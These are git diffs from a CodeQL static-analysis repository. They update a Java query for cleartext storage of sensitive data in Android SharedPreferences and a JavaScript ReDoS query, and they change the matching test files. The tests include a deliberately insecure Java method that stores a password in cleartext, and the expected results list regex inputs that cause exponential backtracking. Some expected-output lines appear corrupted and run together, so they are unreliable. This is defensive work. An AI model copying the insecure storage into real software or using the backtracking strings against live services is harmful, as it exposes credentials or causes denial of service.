    diff --git a/java/ql/src/Security/CWE/CWE-312/SensitiveStorage.qll b/java/ql/src/Security/CWE/CWE-312/SensitiveStorage.qll index 8b61faf3750..bc629532b9f 100644 --- a/java/ql/src/Security/CWE/CWE-312/SensitiveStorage.qll +++ b/java/ql/src/Security/CWE/CWE-312/SensitiveStorage.qll @@ -5,6 +5,7 @@ import semmle.code.java.frameworks.android.SharedPreferences import semmle.code.java.dataflow.TaintTracking import semmle.code.java.dataflow.DataFlow3 import semmle.code.java.dataflow.DataFlow4 +import semmle.code.java.dataflow.DataFlow5 import semmle.code.java.security.SensitiveActions /** Test code filter. */ @@ -30,7 +31,8 @@ private class SensitiveSourceFlowConfig extends TaintTracking::Configuration { ) or exists(MethodAccess m | - m.getMethod() instanceof SharedPreferencesSetMethod and sink.asExpr() = m.getArgument(1) + m.getMethod() instanceof SharedPreferences::SharedPreferencesSetMethod and + sink.asExpr() = m.getArgument(1) ) or sink.asExpr() = getInstanceInput(_, _) @@ -252,8 +254,9 @@ class Marshallable extends ClassStore { /* Holds if the method call is a setter method of `SharedPreferences`. */ private predicate sharedPreferencesInput(DataFlow::Node sharedPrefs, Expr input) { exists(MethodAccess m | - m.getMethod() instanceof SharedPreferencesSetMethod and + m.getMethod() instanceof SharedPreferences::SharedPreferencesSetMethod and input = m.getArgument(1) and + not exists(EncryptedValueFlowConfig conf | conf.hasFlow(_, DataFlow::exprNode(input))) and sharedPrefs.asExpr() = m.getQualifier() ) } @@ -261,13 +264,13 @@ private predicate sharedPreferencesInput(DataFlow::Node sharedPrefs, Expr input) /* Holds if the method call is the store method of `SharedPreferences`. */ private predicate sharedPreferencesStore(DataFlow::Node sharedPrefs, Expr store) { exists(MethodAccess m | - m.getMethod() instanceof SharedPreferencesStoreMethod and + m.getMethod() instanceof SharedPreferences::SharedPreferencesStoreMethod and store = m and sharedPrefs.asExpr() = m.getQualifier() ) } -/* Flow from `SharedPreferences` to the method call changing its value. */ +/* Flow from `SharedPreferences` to either a setter or a store method. */ class SharedPreferencesFlowConfig extends TaintTracking::Configuration { SharedPreferencesFlowConfig() { this = "SensitiveStorage::SharedPreferencesFlowConfig" } @@ -279,25 +282,63 @@ class SharedPreferencesFlowConfig extends TaintTracking::Configuration { sharedPreferencesInput(sink, _) or sharedPreferencesStore(sink, _) } +} - override predicate isSanitizer(DataFlow::Node n) { +/** + * Method call of encrypting sensitive information. + * As there are various implementations of encryption (reversible and non-reversible) from both JDK and third parties, this class simply checks method name to take a best guess to reduce false positives. + */ +class EncryptedSensitiveMethodAccess extends MethodAccess { + EncryptedSensitiveMethodAccess() { + getMethod().getName().toLowerCase().matches(["%encrypt%", "%hash%"]) + } +} + +/* Flow configuration of encrypting sensitive information. */ +class EncryptedValueFlowConfig extends DataFlow5::Configuration { + EncryptedValueFlowConfig() { this = "SensitiveStorage::EncryptedValueFlowConfig" } + + override predicate isSource(DataFlow5::Node src) { + exists(EncryptedSensitiveMethodAccess ema | src.asExpr() = ema.getAnArgument()) + } + + override predicate isSink(DataFlow5::Node sink) { exists(MethodAccess ma | - ma.getMethod().getName().toLowerCase().matches("%encrypt%") and - n.asExpr() = ma.getAnArgument() + ma.getMethod() instanceof SharedPreferences::SharedPreferencesSetMethod and + sink.asExpr() = ma.getArgument(1) ) } + + override predicate isAdditionalFlowStep(DataFlow5::Node n1, DataFlow5::Node n2) { + exists(EncryptedSensitiveMethodAccess ema | + n1.asExpr() = ema.getAnArgument() and + n2.asExpr() = ema + ) + } +} + +/* Flow from the create method of `androidx.security.crypto.EncryptedSharedPreferences` to its instance. */ +private class EncryptedSharedPrefFlowConfig extends DataFlow3::Configuration { + EncryptedSharedPrefFlowConfig() { this = "SensitiveStorage::EncryptedSharedPrefFlowConfig" } + + override predicate isSource(DataFlow::Node src) { + src.asExpr().(MethodAccess).getMethod() instanceof + SharedPreferences::EncryptedSharedPrefsCreateMethod + } + + override predicate isSink(DataFlow::Node sink) { + sink.asExpr().getType() instanceof SharedPreferences::TypeSharedPreferences + } } /** The call to get a `SharedPreferences.Editor` object, which can set shared preferences or be stored to device. */ class SharedPreferencesEditor extends MethodAccess { SharedPreferencesEditor() { - this.getMethod() instanceof SharedPreferencesGetEditorMethod and + this.getMethod() instanceof SharedPreferences::SharedPreferencesGetEditorMethod and not exists( - MethodAccess cma // not exists `SharedPreferences sharedPreferences = EncryptedSharedPreferences.create(...)` + EncryptedSharedPrefFlowConfig config // not exists `SharedPreferences sharedPreferences = EncryptedSharedPreferences.create(...)` | - cma.getQualifier().getType() instanceof TypeEncryptedSharedPreferences and - cma.getMethod().hasName("create") and - cma.getParent().(VariableAssign).getDestVar().getAnAccess() = this.getQualifier() + config.hasFlow(_, DataFlow::exprNode(this.getQualifier())) ) } diff --git a/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll b/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll index 7ac1f3bb1df..59657ffb6e6 100644 --- a/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll +++ b/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll @@ -1,52 +1,64 @@ -/* Definitions related to `android.content.SharedPreferences`. */ import semmle.code.java.Type -/* The interface `android.content.SharedPreferences` */ -library class TypeSharedPreferences extends Interface { - TypeSharedPreferences() { hasQualifiedName("android.content", "SharedPreferences") } -} +/* Definitions related to `android.content.SharedPreferences`. */ +module SharedPreferences { + /* The interface `android.content.SharedPreferences` */ + class TypeSharedPreferences extends Interface { + TypeSharedPreferences() { hasQualifiedName("android.content", "SharedPreferences") } + } -/* The class `androidx.security.crypto.EncryptedSharedPreferences`, which implements `SharedPreferences` with encryption support. */ -library class TypeEncryptedSharedPreferences extends Class { - TypeEncryptedSharedPreferences() { - hasQualifiedName("androidx.security.crypto", "EncryptedSharedPreferences") - } -} - -/* A getter method of `android.content.SharedPreferences`. */ -library class SharedPreferencesGetMethod extends Method { - SharedPreferencesGetMethod() { - getDeclaringType() instanceof TypeSharedPreferences and - getName().matches("get%") - } -} - -/* Returns `android.content.SharedPreferences.Editor` from the `edit` call of `android.content.SharedPreferences`. */ -library class SharedPreferencesGetEditorMethod extends Method { - SharedPreferencesGetEditorMethod() { - getDeclaringType() instanceof TypeSharedPreferences and - hasName("edit") and - getReturnType() instanceof TypeSharedPreferencesEditor - } -} - -/* Definitions related to `android.content.SharedPreferences.Editor`. */ -library class TypeSharedPreferencesEditor extends Interface { - TypeSharedPreferencesEditor() { hasQualifiedName("android.content", "SharedPreferences$Editor") } -} - -/* A setter method for `android.content.SharedPreferences`. */ -library class SharedPreferencesSetMethod extends Method { - SharedPreferencesSetMethod() { - getDeclaringType() instanceof TypeSharedPreferencesEditor and - getName().matches("put%") - } -} - -/* A setter method for `android.content.SharedPreferences`. */ -library class SharedPreferencesStoreMethod extends Method { - SharedPreferencesStoreMethod() { - getDeclaringType() instanceof TypeSharedPreferencesEditor and - hasName(["commit", "apply"]) + /* The class `androidx.security.crypto.EncryptedSharedPreferences`, which implements `SharedPreferences` with encryption support. */ + class TypeEncryptedSharedPreferences extends Class { + TypeEncryptedSharedPreferences() { + hasQualifiedName("androidx.security.crypto", "EncryptedSharedPreferences") + } + } + + /* The create method of `androidx.security.crypto.EncryptedSharedPreferences` */ + class EncryptedSharedPrefsCreateMethod extends Method { + EncryptedSharedPrefsCreateMethod() { + getDeclaringType() instanceof TypeEncryptedSharedPreferences and + hasName("create") + } + } + + /* A getter method of `android.content.SharedPreferences`. */ + class SharedPreferencesGetMethod extends Method { + SharedPreferencesGetMethod() { + getDeclaringType() instanceof TypeSharedPreferences and + getName().matches("get%") + } + } + + /* Returns `android.content.SharedPreferences.Editor` from the `edit` call of `android.content.SharedPreferences`. */ + class SharedPreferencesGetEditorMethod extends Method { + SharedPreferencesGetEditorMethod() { + getDeclaringType() instanceof TypeSharedPreferences and + hasName("edit") and + getReturnType() instanceof TypeSharedPreferencesEditor + } + } + + /* Definitions related to `android.content.SharedPreferences.Editor`. */ + class TypeSharedPreferencesEditor extends Interface { + TypeSharedPreferencesEditor() { + hasQualifiedName("android.content", "SharedPreferences$Editor") + } + } + + /* A setter method for `android.content.SharedPreferences`. */ + class SharedPreferencesSetMethod extends Method { + SharedPreferencesSetMethod() { + getDeclaringType() instanceof TypeSharedPreferencesEditor and + getName().matches("put%") + } + } + + /* A setter method for `android.content.SharedPreferences`. */ + class SharedPreferencesStoreMethod extends Method { + SharedPreferencesStoreMethod() { + getDeclaringType() instanceof TypeSharedPreferencesEditor and + hasName(["commit", "apply"]) + } } } diff --git a/java/ql/test/query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.expected b/java/ql/test/query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.expected index 63ddf22798c..592a74db89d 100644 --- a/java/ql/test/query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.expected +++ b/java/ql/test/query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.expected @@ -1 +1 @@ -| ClearTextStorageSharedPrefs.java:16:3:16:17 | commit(...) | 'SharedPreferences' class $@ containing $@ is stored here. Data was added $@. | ClearTextStorageSharedPrefs.java:13:19:13:36 | edit(...) | edit(...) | ClearTextStorageSharedPrefs.java:15:32:15:39 | password | sensitive data | ClearTextStorageSharedPrefs.java:15:32:15:39 | password | here | +| ClearTextStorageSharedPrefs.java:19:3:19:17 | commit(...) | 'SharedPreferences' class $@ containing $@ is stored here. Data was added $@. | ClearTextStorageSharedPrefs.java:16:19:16:36 | edit(...) | edit(...) | ClearTextStorageSharedPrefs.java:18:32:18:39 | password | sensitive data | ClearTextStorageSharedPrefs.java:18:32:18:39 | password | here | diff --git a/java/ql/test/query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.java b/java/ql/test/query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.java index d9484b82ef4..dbc1f54b59c 100644 --- a/java/ql/test/query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.java +++ b/java/ql/test/query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.java @@ -4,8 +4,11 @@ import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import androidx.security.crypto.MasterKey; import androidx.security.crypto.EncryptedSharedPreferences; +import java.nio.charset.StandardCharsets; +import java.util.Base64; +import java.security.MessageDigest; -/** Android activity that tests saving sensitive information in `SharedPreferences` */ +/* Android activity that tests saving sensitive information in `SharedPreferences` */ public class ClearTextStorageSharedPrefs extends Activity { // BAD - save sensitive information in cleartext public void testSetSharedPrefs1(Context context, String name, String password) { @@ -26,13 +29,27 @@ public class ClearTextStorageSharedPrefs extends Activity { } private static String encrypt(String cleartext) { - //Use an encryption or hashing algorithm in real world. The demo below just returns an arbitrary value. - String cipher = "whatever_encrypted"; - return cipher; + // Use an encryption or hashing algorithm in real world. The demo below just returns its hash. + MessageDigest digest = MessageDigest.getInstance("SHA-256"); + byte[] hash = digest.digest(cleartext.getBytes(StandardCharsets.UTF_8)); + String encoded = Base64.getEncoder().encodeToString(hash); + return encoded; } - // GOOD - save sensitive information using the built-in `EncryptedSharedPreferences` class in androidx. + // GOOD - save sensitive information in encrypted format using separate variables public void testSetSharedPrefs3(Context context, String name, String password) { + String encUsername = encrypt(name); + String encPassword = encrypt(password); + SharedPreferences sharedPrefs = context.getSharedPreferences("user_prefs", Context.MODE_PRIVATE); + Editor editor = sharedPrefs.edit(); + editor.putString("name", encUsername); + editor.putString("password", encPassword); + editor.commit(); + } + + + // GOOD - save sensitive information using the built-in `EncryptedSharedPreferences` class in androidx + public void testSetSharedPrefs4(Context context, String name, String password) { MasterKey masterKey = new MasterKey.Builder(context, MasterKey.DEFAULT_MASTER_KEY_ALIAS) .setKeyScheme(MasterKey.KeyScheme.AES256_GCM) .build(); @@ -50,4 +67,43 @@ public class ClearTextStorageSharedPrefs extends Activity { editor.putString("password", password); editor.commit(); } + + // GOOD - save sensitive information using the built-in `EncryptedSharedPreferences` class in androidx + public void testSetSharedPrefs5(Context context, String name, String password) { + MasterKey masterKey = new MasterKey.Builder(context, MasterKey.DEFAULT_MASTER_KEY_ALIAS) + .setKeyScheme(MasterKey.KeyScheme.AES256_GCM) + .build(); + + SharedPreferences.Editor editor = EncryptedSharedPreferences.create( + context, + "secret_shared_prefs", + masterKey, + EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV, + EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM) + .edit(); + + // Use the shared preferences and editor as you normally would + editor.putString("name", name); + editor.putString("password", password); + editor.commit(); + } + + // GOOD - save sensitive information using the built-in `EncryptedSharedPreferences` class in androidx + public void testSetSharedPrefs6(Context context, String name, String password) { + MasterKey masterKey = new MasterKey.Builder(context, MasterKey.DEFAULT_MASTER_KEY_ALIAS) + .setKeyScheme(MasterKey.KeyScheme.AES256_GCM) + .build(); + + SharedPreferences.Editor editor = EncryptedSharedPreferences.create( + context, + "secret_shared_prefs", + masterKey, + EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV, + EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM) + .edit() + .putString("name", name) // Use the shared preferences and editor as you normally would + .putString("password", password); + + editor.commit(); + } } From bcb2f2768d03369d98b8c54f268f72cda828ffa7 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 19 Nov 2020 11:40:23 +0100 Subject: [PATCH 0063/1241] search for a prefix to the state that causes exponential backtracking --- javascript/ql/src/Performance/ReDoS.ql | 123 ++++++++++++++-- .../Performance/ReDoS/ReDoS.expected | 135 ++++++++++-------- .../test/query-tests/Performance/ReDoS/tst.js | 35 ++++- 3 files changed, 216 insertions(+), 77 deletions(-) diff --git a/javascript/ql/src/Performance/ReDoS.ql b/javascript/ql/src/Performance/ReDoS.ql index 3de8167a2a9..e6cc1d7747e 100644 --- a/javascript/ql/src/Performance/ReDoS.ql +++ b/javascript/ql/src/Performance/ReDoS.ql @@ -44,8 +44,9 @@ import semmle.javascript.security.performance.SuperlinearBackTracking * condition is equivalent to saying that `(q, q)` is reachable from `(r1, r2)` * in the product NFA. * - * This is what the query does. It makes no attempt to construct a prefix - * leading into `q`, and only a weak one to construct a suffix that ensures + * This is what the query does. It makes a simple attempt to construct a + * prefix `v` leading into `q`, but only to improve the alert message. + * And the query only weakly attempts to construct a suffix that ensures * rejection; this causes some false positives. * * Finally, sometimes it depends on the translation whether the NFA generated @@ -879,6 +880,84 @@ predicate isPumpable(State fork, string w) { ) } +/** + * Predicates for constructing a prefix string that leads to a given state. + */ +module PrefixConstruction { + /** + * Holds if `state` starts the string matched by the regular expression. + */ + private predicate isStartState(State state) { + state = Match(any(RegExpRoot r), _) + or + exists(RegExpCaret car | state = after(car)) + } + + /** + * Holds if `state` is the textually last start state for the regular expression. + */ + private predicate lastStartState(State state) { + exists(RegExpRoot root | + state = + max(State s, Location l | + isStartState(s) and getRoot(s.getRepr()) = root and l = s.getRepr().getLocation() + | + s order by l.getStartLine(), l.getStartColumn() + ) + ) + } + + /** + * Holds if there exists any transition (Epsilon() or other) from `a` to `b`. + */ + private predicate existsTransition(State a, State b) { delta(a, _, b) } + + /** + * Gets the minimum number of transitions it takes to reach `state` from the `start` state. + */ + int prefixLength(State start, State state) = + shortestDistances(lastStartState/1, existsTransition/2)(start, state, result) + + /** + * Gets the minimum number of transitions it takes to reach `state` from the start state. + */ + private int lengthFromStart(State state) { result = prefixLength(_, state) } + + /** + * Gets a string for which the regular expression will reach `state`. + * + * Has at most one result for any given `state`. + * This predicate will not always have a result even if there is a ReDoS issue in + * the regular expression. + */ + string prefix(State state) { + lastStartState(state) and + result = "" + or + // the search stops past the last pumpable state. + lengthFromStart(state) <= max(lengthFromStart(any(State s | isPumpable(s, _)))) and + exists(State prev | + // select a unique predecessor (by an arbitrary measure) + prev = + min(State s, Location loc | + lengthFromStart(s) = lengthFromStart(state) - 1 and + loc = s.getRepr().getLocation() and + delta(s, _, state) + | + s order by loc.getStartLine(), loc.getStartColumn(), loc.getEndLine(), loc.getEndColumn() + ) + | + // greedy search for the shortest prefix + result = prefix(prev) and delta(prev, Epsilon(), state) + or + not delta(prev, Epsilon(), state) and + result = + prefix(prev) + + min(string c | delta(prev, any(InputSymbol symbol | c = intersect(Any(), symbol)), state)) + ) + } +} + /** * Gets a state that can be reached from pumpable `fork` consuming all * chars in `w` any number of times followed by the first `i+1` characters of `w`. @@ -931,16 +1010,34 @@ string rotate(string str, int i) { result = str.suffix(str.length() - i) + str.prefix(str.length() - i) } -from RegExpTerm t, string c, int i +/** + * Holds if `term` may cause exponential backtracking on strings containing many repetitions of `witness`. + */ +predicate isReDoSAttackable(RegExpTerm term, string witness, State s) { + exists(int i, string c | s = Match(term, i) | + c = + min(string w | + isPumpable(s, w) and + not isPumpable(epsilonSucc+(s), _) and + not epsilonSucc*(process(s, w, _)) = Accept(_) + | + w order by w.length(), w + ) and + witness = escape(rotate(c, i)) + ) +} + +from RegExpTerm t, string witness, State s, string prefixMsg where - c = - min(string w | - isPumpable(Match(t, i), w) and - not isPumpable(epsilonSucc+(Match(t, i)), _) and - not epsilonSucc*(process(Match(t, i), w, _)) = Accept(_) - | - w order by w.length(), w - ) + isReDoSAttackable(t, witness, s) and + ( + prefixMsg = "starting with '" + escape(PrefixConstruction::prefix(s)) + "' and " and + not PrefixConstruction::prefix(s) = "" + or + PrefixConstruction::prefix(s) = "" and prefixMsg = "" + or + not exists(PrefixConstruction::prefix(s)) and prefixMsg = "" + ) select t, - "This part of the regular expression may cause exponential backtracking on strings " + - "containing many repetitions of '" + escape(rotate(c, i)) + "'." + "This part of the regular expression may cause exponential backtracking on strings " + prefixMsg + + "containing many repetitions of '" + witness + "'." diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected index 817a12375e4..f2f7eb46cb3 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected @@ -1,71 +1,71 @@ | polynomial-redos.js:17:5:17:6 | .* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of ','. | | polynomial-redos.js:41:52:41:63 | [\\x21-\\x7E]* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '?'. | -| polynomial-redos.js:46:33:46:45 | [a-zA-Z_0-9]* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'A'. | -| regexplib/address.js:51:220:51:222 | \\w+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | -| regexplib/address.js:51:616:51:618 | \\w+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | -| regexplib/address.js:51:803:51:811 | [A-Za-z]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'A'. | -| regexplib/address.js:75:220:75:222 | \\w+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | -| regexplib/address.js:75:616:75:618 | \\w+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | -| regexplib/address.js:75:803:75:811 | [A-Za-z]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'A'. | -| regexplib/email.js:1:16:1:22 | [-.\\w]* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | -| regexplib/email.js:5:24:5:35 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | -| regexplib/email.js:5:63:5:74 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | +| polynomial-redos.js:46:33:46:45 | [a-zA-Z_0-9]* | This part of the regular expression may cause exponential backtracking on strings starting with 'A' and containing many repetitions of 'A'. | +| regexplib/address.js:51:220:51:222 | \\w+ | This part of the regular expression may cause exponential backtracking on strings starting with 'C/O ' and containing many repetitions of 'a'. | +| regexplib/address.js:51:616:51:618 | \\w+ | This part of the regular expression may cause exponential backtracking on strings starting with '9 a C/O ' and containing many repetitions of 'a'. | +| regexplib/address.js:51:803:51:811 | [A-Za-z]+ | This part of the regular expression may cause exponential backtracking on strings starting with '9 a ' and containing many repetitions of 'A'. | +| regexplib/address.js:75:220:75:222 | \\w+ | This part of the regular expression may cause exponential backtracking on strings starting with 'C/O ' and containing many repetitions of 'a'. | +| regexplib/address.js:75:616:75:618 | \\w+ | This part of the regular expression may cause exponential backtracking on strings starting with '9 a C/O ' and containing many repetitions of 'a'. | +| regexplib/address.js:75:803:75:811 | [A-Za-z]+ | This part of the regular expression may cause exponential backtracking on strings starting with '9 a ' and containing many repetitions of 'A'. | +| regexplib/email.js:1:16:1:22 | [-.\\w]* | This part of the regular expression may cause exponential backtracking on strings starting with '0' and containing many repetitions of '0'. | +| regexplib/email.js:5:24:5:35 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0' and containing many repetitions of '0'. | +| regexplib/email.js:5:63:5:74 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0@0' and containing many repetitions of '0'. | | regexplib/email.js:6:10:6:35 | (?:[a-zA-Z0-9][\\.\\-\\+_]?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | -| regexplib/email.js:25:67:25:78 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | -| regexplib/email.js:25:106:25:117 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | +| regexplib/email.js:25:67:25:78 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0' and containing many repetitions of '0'. | +| regexplib/email.js:25:106:25:117 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0@0' and containing many repetitions of '0'. | | regexplib/email.js:25:212:25:223 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | | regexplib/email.js:25:251:25:262 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | | regexplib/email.js:32:10:32:25 | (?:\\w[\\.\\-\\+]?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | -| regexplib/email.js:33:16:33:22 | [-.\\w]* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | -| regexplib/email.js:33:38:33:51 | ([0-9a-zA-Z])+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '00.'. | -| regexplib/email.js:33:53:33:58 | [-\\w]* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | -| regexplib/email.js:34:24:34:35 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | -| regexplib/email.js:34:63:34:74 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | -| regexplib/markup.js:3:451:3:453 | .+? | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a '. | -| regexplib/markup.js:13:6:13:12 | [^"']+? | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '!'. | -| regexplib/markup.js:13:14:13:16 | .+? | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a"'. | -| regexplib/markup.js:37:29:37:56 | [a-zA-Z0-9\|:\|\\/\|=\|-\|.\|\\?\|&]* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '='. | +| regexplib/email.js:33:16:33:22 | [-.\\w]* | This part of the regular expression may cause exponential backtracking on strings starting with '0' and containing many repetitions of '0'. | +| regexplib/email.js:33:38:33:51 | ([0-9a-zA-Z])+ | This part of the regular expression may cause exponential backtracking on strings starting with '0@' and containing many repetitions of '00.'. | +| regexplib/email.js:33:53:33:58 | [-\\w]* | This part of the regular expression may cause exponential backtracking on strings starting with '0@0' and containing many repetitions of '0'. | +| regexplib/email.js:34:24:34:35 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0' and containing many repetitions of '0'. | +| regexplib/email.js:34:63:34:74 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0@0' and containing many repetitions of '0'. | +| regexplib/markup.js:3:451:3:453 | .+? | This part of the regular expression may cause exponential backtracking on strings starting with '\\. ])\|([^\\\\/:\\*\\?"\\\|<>]*[^\\\\/:\\*\\?"\\\|<>\\. ]))? | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '!\\\\!'. | -| regexplib/misc.js:24:56:24:118 | (([^\\\\/:\\*\\?"\\\|<>\\. ])\|([^\\\\/:\\*\\?"\\\|<>]*[^\\\\/:\\*\\?"\\\|<>\\. ]))? | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '!\\\\!'. | +| regexplib/markup.js:56:132:56:134 | \\s* | This part of the regular expression may cause exponential backtracking on strings starting with 'a[@a=''' and containing many repetitions of ' @a<""'. | +| regexplib/misc.js:15:56:15:118 | (([^\\\\/:\\*\\?"\\\|<>\\. ])\|([^\\\\/:\\*\\?"\\\|<>]*[^\\\\/:\\*\\?"\\\|<>\\. ]))? | This part of the regular expression may cause exponential backtracking on strings starting with '!' and containing many repetitions of '!\\\\!'. | +| regexplib/misc.js:24:56:24:118 | (([^\\\\/:\\*\\?"\\\|<>\\. ])\|([^\\\\/:\\*\\?"\\\|<>]*[^\\\\/:\\*\\?"\\\|<>\\. ]))? | This part of the regular expression may cause exponential backtracking on strings starting with '!' and containing many repetitions of '!\\\\!'. | | regexplib/misc.js:79:3:79:25 | (\\/w\|\\/W\|[^<>+?$%{}&])+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '/W'. | -| regexplib/misc.js:123:17:123:19 | \\d+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '9'. | +| regexplib/misc.js:123:17:123:19 | \\d+ | This part of the regular expression may cause exponential backtracking on strings starting with '?se[' and containing many repetitions of '9'. | | regexplib/misc.js:142:3:142:25 | (\\/w\|\\/W\|[^<>+?$%{}&])+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '/W'. | -| regexplib/misc.js:148:20:148:22 | \\s+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of ' '. | -| regexplib/misc.js:148:23:148:29 | [^"'=]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '! '. | -| regexplib/strings.js:19:31:19:57 | [a-zæøå0-9]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '#'. | -| regexplib/strings.js:57:17:57:19 | \\d+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '9'. | -| regexplib/strings.js:81:17:81:19 | \\d+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '9'. | -| regexplib/uri.js:3:128:3:129 | .* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '/'. | -| regexplib/uri.js:3:200:3:215 | (?:\\&?\\w+\\=\\w+)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0=0'. | -| regexplib/uri.js:5:42:5:43 | .* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\\\a'. | -| regexplib/uri.js:17:42:17:43 | .* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\\\a'. | -| regexplib/uri.js:38:35:38:40 | [a-z]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | -| regexplib/uri.js:38:52:38:60 | [a-z0-9]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0a'. | -| regexplib/uri.js:55:35:55:40 | [a-z]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | -| regexplib/uri.js:55:52:55:60 | [a-z0-9]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0a'. | -| regexplib/uri.js:63:393:63:429 | [a-zA-Z0-9\\.\\,\\?\\'\\\\/\\+&%\\$#\\=~_\\-@]* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '/#'. | +| regexplib/misc.js:148:20:148:22 | \\s+ | This part of the regular expression may cause exponential backtracking on strings starting with '+()\\s-]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\t'. | -| tst.js:66:38:66:40 | .*? | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of ']['. | -| tst.js:71:19:71:26 | (\\\\?.)*? | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\\\a'. | +| tst.js:66:38:66:40 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '[' and containing many repetitions of ']['. | +| tst.js:71:19:71:26 | (\\\\?.)*? | This part of the regular expression may cause exponential backtracking on strings starting with '"' and containing many repetitions of '\\\\a'. | | tst.js:74:14:74:21 | (b\|a?b)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'b'. | | tst.js:77:14:77:21 | (a\|aa?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | tst.js:83:14:83:20 | (.\|\\n)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\n'. | @@ -75,8 +75,8 @@ | tst.js:107:15:107:23 | (b\|[^a])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'b'. | | tst.js:110:15:110:23 | (G\|[^a])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'G'. | | tst.js:113:15:113:27 | ([0-9]\|[^a])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | -| tst.js:116:60:116:104 | (?:\\\\[\\x00-\\x7f]\|[^\\x00-\\x08\\x0a-\\x1f\\x7f"])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\\\!'. | -| tst.js:119:16:119:60 | 